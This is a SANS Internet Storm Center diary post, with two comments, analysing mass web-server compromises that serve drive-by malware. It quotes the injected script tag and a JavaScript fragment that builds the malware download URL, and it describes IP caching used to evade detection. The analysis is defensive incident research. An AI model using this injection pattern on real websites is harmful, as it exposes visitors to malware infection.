Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: More about mass web infections SANS ISC InfoSec Forums

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More about mass web infections

Couple of days ago Mari posted a diary ( about mass web infections; other sources like the Register reported about the same thing.

I’ve been playing with one compromised web site today and was trying to figure out what the infection vector is.

Some general information first. On all compromised sites the bad guys installed a server side script. This script embeds a script tag pointing to another JavaScript file on the same server, hosting various exploits. This script is randomly generated. The compromised server also caches the IP address of the client so subsequent requests for the same page from the same IP address will not contain the script tag to the malicious JavaScript file. So, the first visit to a compromised web site will include the link:

<script language='JavaScript' type='text/javascript' src='egmjh.js'></script>

<div id="page">

While subsequent visits will not:

<div id="page">

The JavaScript file has some trivial obfuscation, what’s interesting is that they created a generic part which handles the final URL that will be used to download the malware from:

var arg="mvdrzjyh";
var MU = "http://" +document.location.hostname + "/" + arg;

var MU2 = "\"" + MU + "\"";

The MU2 variable is then inserted in the exploit code (which is split using the escape() calls). This makes the exploit code “universal” – it works on every compromised server and the server side script only has to set the arg parameter (the name of the final binary that gets pulled and executed on a vulnerable client) as the hostname will be set automatically by the browser. The rest is simple (and has been written about by others so I won’t spend time on that) – the script tries to exploit multiple vulnerabilities and if successful will result in the binary executed on the system.

Another interesting thing is that the binary seems to be repacked on the compromised system as well. I pulled couple of binaries from different clients and every time received a different sample (and AV detection was pretty poor).

Two main questions are still not answered here: how do those servers get initially compromised and what kind of server side application do the bad guys install?

There has been a lot of speculation about server side stuff. Some sources claim that compromised servers are running a rootkit and an evil Apache module that does this JavaScript injection and random file generation on the fly.

So a call for samples/logs/packets – if you have access to one of the compromised servers we would appreciate any information that can help resolving this.




I will be teaching next: Web App Penetration Testing and Ethical Hacking - SANS Amsterdam January 2021


392 Posts
ISC Handler
Jan 18th 2008
I wonder how long these attacks will log client IP addresses so they only hit someone once and why they're doing it. It really limits their potential to attack business sysems where there could be dozens to thousands of computers behind a single NAT address or proxy server. Unless the client-side program is network-aware and tries to propagate itself internally, it's a bad move for their business.
Good point, I thought about the same thing. It appears that they cache it for some time because I was able to retrieve it again after a while (more then 30 minutes) again, from an IP address I already used. Hopefully if we get some samples we will be able to analyze them and see exactly what's going on there.

392 Posts
ISC Handler

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